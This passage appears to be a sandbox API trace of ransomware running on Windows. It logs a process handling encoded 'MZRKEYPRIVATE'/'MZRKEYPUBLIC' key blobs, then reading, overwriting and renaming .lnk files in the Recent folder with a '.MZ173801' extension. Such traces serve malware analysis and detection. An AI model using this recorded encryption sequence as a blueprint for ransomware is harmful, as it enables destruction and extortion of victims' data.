lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.963] GetCurrentThreadId () returned 0xab4 [0146.963] GetCurrentThreadId () returned 0xab4 [0146.963] GetCurrentThreadId () returned 0xab4 [0146.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x25380cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.964] GetCurrentThreadId () returned 0xab4 [0146.964] GetCurrentThreadId () returned 0xab4 [0146.964] GetCurrentThreadId () returned 0xab4 [0146.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3qar626WH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\3qar626wh.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.964] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.964] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.964] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3d6 [0146.964] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.965] ReadFile (in: hFile=0x280, lpBuffer=0x253fed0, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesRead=0x19fa18*=0x3d6, lpOverlapped=0x0) returned 1 [0146.965] CloseHandle (hObject=0x280) returned 1 [0146.965] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3qar626WH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\3qar626wh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.966] WriteFile (in: hFile=0x280, lpBuffer=0x2541f00*, nNumberOfBytesToWrite=0x3d6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2541f00*, lpNumberOfBytesWritten=0x19fa24*=0x3d6, lpOverlapped=0x0) returned 1 [0146.967] CloseHandle (hObject=0x280) returned 1 [0146.968] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3qar626WH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\3qar626wh.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3qar626WH.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\3qar626wh.lnk.mz173801")) returned 1 [0146.968] GetCurrentThreadId () returned 0xab4 [0146.968] GetCurrentThreadId () returned 0xab4 [0146.968] GetCurrentThreadId () returned 0xab4 [0146.968] GetCurrentThreadId () returned 0xab4 [0146.968] GetCurrentThreadId () returned 0xab4 [0146.968] GetCurrentThreadId () returned 0xab4 [0146.968] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf265da01, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf265da01, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf265da01, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4DOO7h9IdbHgOJ L.flv.lnk", cAlternateFileName="4DOO7H~1.LNK")) returned 1 [0146.969] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.969] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4DOO7h9IdbHgOJ L.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4doo7h9idbhgoj l.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf265da01, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf265da01, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf265da01, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x496)) returned 1 [0146.969] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4DOO7h9IdbHgOJ L.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4doo7h9idbhgoj l.flv.lnk")) returned 0x20 [0146.969] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4DOO7h9IdbHgOJ L.flv.lnk", dwFileAttributes=0x80) returned 1 [0146.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252706c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0146.971] GetCurrentThreadId () returned 0xab4 [0146.971] GetCurrentThreadId () returned 0xab4 [0146.971] GetCurrentThreadId () returned 0xab4 [0146.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 